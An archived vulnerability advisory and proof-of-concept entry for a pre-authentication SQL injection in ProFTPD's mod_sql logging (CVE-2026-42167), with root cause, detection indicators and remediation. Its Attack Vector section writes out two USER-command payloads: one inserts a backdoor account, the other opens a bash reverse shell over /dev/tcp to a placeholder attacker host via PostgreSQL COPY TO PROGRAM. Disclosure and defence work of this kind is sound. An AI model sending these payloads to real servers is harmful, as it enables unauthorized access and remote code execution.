ProFTPD mod_sql Pre-Auth SQL Injection Leading to RCE (CVE-2026-42167)
by jimmexploit (PoC); originally reported by ZeroPath Research · 2026-07-05
- Severity
- High
- CVE
- CVE-2026-42167
- Category
- network
- Affected product
- ProFTPD (with mod_sql and SQL-backed logging configured)
- Affected versions
- ProFTPD 1.3.9 and below; fixed in 1.3.9a / 1.3.10rc1
- Disclosed
- 2026-07-05
- Patch status
- patched
References
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-05 |
| Last Updated | 2026-06 |
| Author / Researcher | jimmexploit (PoC); originally reported by ZeroPath Research |
| CVE / Advisory | CVE-2026-42167 |
| Category | network |
| Severity | High |
| CVSS Score | 8.1 |
| Status | PoC |
| Tags | sqli, unauthenticated, proftpd, mod_sql, ftp, rce, backdoor, go |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | ProFTPD (with mod_sql and SQL-backed logging configured) |
| Versions Affected | ProFTPD 1.3.9 and below; fixed in 1.3.9a / 1.3.10rc1 |
| Language / Platform | C (ProFTPD daemon); Go (PoC client) |
| Authentication Required | No |
| Network Access Required | Yes — TCP access to the FTP control port |
Summary
CVE-2026-42167 is a pre-authentication SQL injection in ProFTPD’s mod_sql logging support. The module’s is_escaped_text() sanitizer fails to properly neutralize input used to populate logging variables (such as %U), which are substituted into SQL statements executed when logging failed/attempted logins (e.g. via SQLLog). Because the USER FTP command is logged through this vulnerable path before authentication succeeds, an unauthenticated attacker can inject arbitrary SQL, allowing creation of backdoor accounts or, when the SQL backend supports it (e.g. PostgreSQL COPY ... TO PROGRAM), remote code execution.
Vulnerability Details
Root Cause
mod_sql’s escaping routine is_escaped_text() does not correctly neutralize the value supplied in the FTP USER command before it is substituted into %U-style SQL logging variables. When a login attempt fails, ProFTPD’s SQL logging path constructs and executes a SQL statement embedding this insufficiently-escaped username value, allowing statement-breakout SQL injection (CWE-89) entirely pre-authentication.
Attack Vector
- Connect to the ProFTPD control port and confirm the
220banner. - Send a
USERcommand whose value is a crafted payload that closes the surrounding SQL statement and appends attacker SQL, e.g.:- Backdoor mode:
', null, null); INSERT INTO users VALUES($$<user>$$, $$<pass>$$, 0, 0, $$/$$, $$/bin/bash$$); --' - RCE mode (PostgreSQL):
', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c "bash -i >& /dev/tcp/<attacker>/<port> 0>&1"$$; --'
- Backdoor mode:
- Follow with any
PASSvalue andQUIT; the login itself fails (as expected — the goal is to trigger the SQL logging/injection path, not to authenticate directly). - The injected SQL executes as part of the logging query: in backdoor mode a new user row is inserted directly into the accounts table; in RCE mode a reverse shell is spawned via
COPY TO PROGRAM(requires a PostgreSQL backend with superuser-levelCOPY TO PROGRAMcapability). - In backdoor mode, the attacker then logs in normally with the injected credentials.
Impact
Complete pre-authentication compromise of the FTP service: creation of arbitrary backdoor accounts (including ones with home directory / and shell /bin/bash, i.e. effectively root-equivalent), or direct remote code execution via SQL-backend command execution primitives.
Environment / Lab Setup
Target: ProFTPD 1.3.9 or earlier, mod_sql configured with SQL-based
SQLLog/AuthTable backend (PostgreSQL used for the RCE mode's
COPY ... TO PROGRAM primitive)
Attacker: Go 1.x toolchain to build/run main.go
Proof of Concept
PoC Script
See
main.goandgo.modin this folder.
| |
Backdoor mode connects, sends the SQLi payload via USER, then verifies success by logging in with the newly-injected credentials. RCE mode sends a payload that triggers a PostgreSQL COPY TO PROGRAM reverse shell back to an attacker-controlled listener.
Detection & Indicators of Compromise
- FTP control-channel logs showing USER commands containing SQL
metacharacters/keywords (', --, INSERT INTO, COPY, TO PROGRAM).
- Unexpected new rows in the ProFTPD SQL accounts table, especially
entries with home directory "/" and shell "/bin/bash".
- PostgreSQL logs showing COPY ... TO PROGRAM executions initiated by
the ProFTPD service account.
Signs of compromise:
- New, unexplained FTP user accounts with elevated privileges.
- Reverse-shell connections originating from the database host shortly after anomalous FTP
USERcommands. - SQL logging table entries containing raw injected SQL fragments.
Remediation
| Action | Detail |
|---|---|
| Primary fix | Upgrade ProFTPD to 1.3.9a or 1.3.10rc1 (or later), which fixes the is_escaped_text() sanitization |
| Interim mitigation | Disable SQL-based logging (SQLLog) of unauthenticated login attempts, or restrict the SQL backend account’s privileges (e.g. revoke COPY ... TO PROGRAM capability in PostgreSQL) until patched |
References
Notes
Mirrored from https://github.com/jimmexploit/CVE-2026-42167-PoC on 2026-07-05.
| |